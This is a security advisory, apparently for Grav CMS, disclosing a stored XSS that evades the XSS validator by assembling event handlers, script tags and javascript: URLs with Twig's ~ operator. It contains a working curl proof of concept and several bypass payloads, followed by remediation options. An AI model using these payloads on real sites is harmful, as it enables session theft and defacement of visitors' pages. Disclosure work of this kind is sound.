Summary

The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.

Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>

The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

<img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.

Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:

allowed_tags:
  - set          # ← allows variable assignment
  ...

The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:

<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
   Twig output: <script>alert(1)</script> #}

Also bypasses the invalid_protocols check:

<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

Proof of Concept

Prerequisites

1. twig_content.process_enabled: true set by admin
2. api.pages.write permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)

JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

Step 2 - Create page with Twig XSS payload

curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{
    "title": "xss-page",
    "folder": "xss-page",
    "route": "/xss-page",
    "template": "default",
    "header": {"title": "xss", "process": {"markdown": false}},
    "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
  }'

Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.

Step 3 - Visit page → XSS fires

curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>

Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.

From a low-level user

Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.

But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click proves that the we can bypass the blueprint restrictions and upload malicious script to it

Alternative payloads (all bypass the validator)

Admin preview caveat

The Admin2 SPA renders page previews inside a sandboxed iframe:

<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>

allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.

Impact

Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:

• Bypasses all four XSS validator regexes (on_events, invalid_protocols, dangerous_tags, html_inline_styles)
• Bypasses the dangerous tag blocklist (reconstructs <script>, <iframe>, <svg>, etc.)
• Bypasses the invalid protocol blocklist (reconstructs javascript:, data:)
• Persists across page edits (stored in page content file)
• Executes for every visitor to the page

An attacker can steal session cookies, perform actions as the victim, or deface the site.

Remediation

Option A - Re-run the XSS validator on Twig output

After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:

// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
    // Log and sanitize or block
    Security::logTwigSandboxViolation('xss_output', $result, '', $route);
    return ''; // or return escaped version
}

Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)

Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).

Option C - Block dynamic attribute names in Twig output

Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.

Option D - Escape HTML in rendered Twig output

Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.

References

• GHSA-2c4f-86xc-cr74
• https://nvd.nist.gov/vuln/detail/CVE-2026-61453
• https://nvd.nist.gov/vuln/detail/CVE-2026-61710
• https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation